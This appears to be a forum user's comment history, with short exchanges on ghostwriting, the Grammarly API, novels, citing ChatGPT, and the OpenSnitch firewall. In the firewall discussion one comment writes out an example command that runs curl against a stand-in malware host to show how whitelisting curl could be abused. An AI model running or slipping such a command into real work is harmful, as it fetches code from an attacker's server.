This reminds me of the agent demo's MLB stadium map from a few weeks ago: https://youtu.be/1jn_RpbPbEc?t=1435 (at timestamp)

Completely bonkers stuff.

Walmart does sell them. Next to pharmacy.

And that’s a good thing. There are too many stories of unsafe insertion of household objects ending up in the ER.

Michelangelo worked alone on the David for more than two years:

Maybe later he got lazier. I haven't really heard of famous authors using assistants for drafts instead of research (I don't mean commercial authors like Stephen King).

Even research many authors simply could not afford.

James Patterson comes to mind. He simply writes detailed outlines for the plots of his novels and has other authors write them for him. The books are then published under his name, which is more like a brand at that point.

It's beyond me how they still refuse to offer an official API.

Gemini subscription costs as much, allows me to do much more, and I can call it from vim or emacs without some arcane acrobatics

netule · a month ago
They used to have an API, which they removed about two years ago or so. Until then, there were a bunch of 3rd-party Grammarly plugins, including a pretty decent one for VSCode.

I would rate myself as an extremely good parallel park-er, switch vehicles? no problem. However, I must shut the music off. not sure what that says about my brain.

Same, but I can’t do a long drive without wailing along to some tunes.

Those three and REAMDE (which I'm currently rereading) are just fantastic. Snow Crash was very stylized; too much for some tastes, not enough for others.
netule · a year ago
I loved REAMDE until a little more than halfway through, when it became a DNF for me.

What’s the preferred way of citing my source? Or are you saying ChatGPT isn’t a valid source?
netule · a year ago
I'm genuinely interested in understanding why you thought that ChatGPT would be a valid source. I'm not being facetious.

Edit: typo

Then any process can do `system(“bash -c curl malware.attacker”)`
netule · a year ago
The bash command line wouldn't be the same as the one launched by your terminal, though. But yes, I’m sure there are myriad exploits around something like that.

I've tried to use it extensively (as an interactive firewall). However there are just some problems (that are not the fault of OpenSnitch) that I'm not even sure that are even solvable.

For example, supposed I run `curl` on the terminal, I can either always decide on a case-by-case basis to allow it thru, or I'm required to whitelist it permanently. Once I've whitelisted generic tools like `curl` or `wget`, then the floodgates are really open, since any malware that have compromised my machine can just use `curl` or `wget` to get to the internet without hitting the firewall.

netule · a year ago
I wonder if there's a way to configure it so that when the parent cmd is a trusted command (say, a bash/zsh owned by the user), it could let the curl command through and otherwise block it. But yeah, that seems like a bit of a hassle.
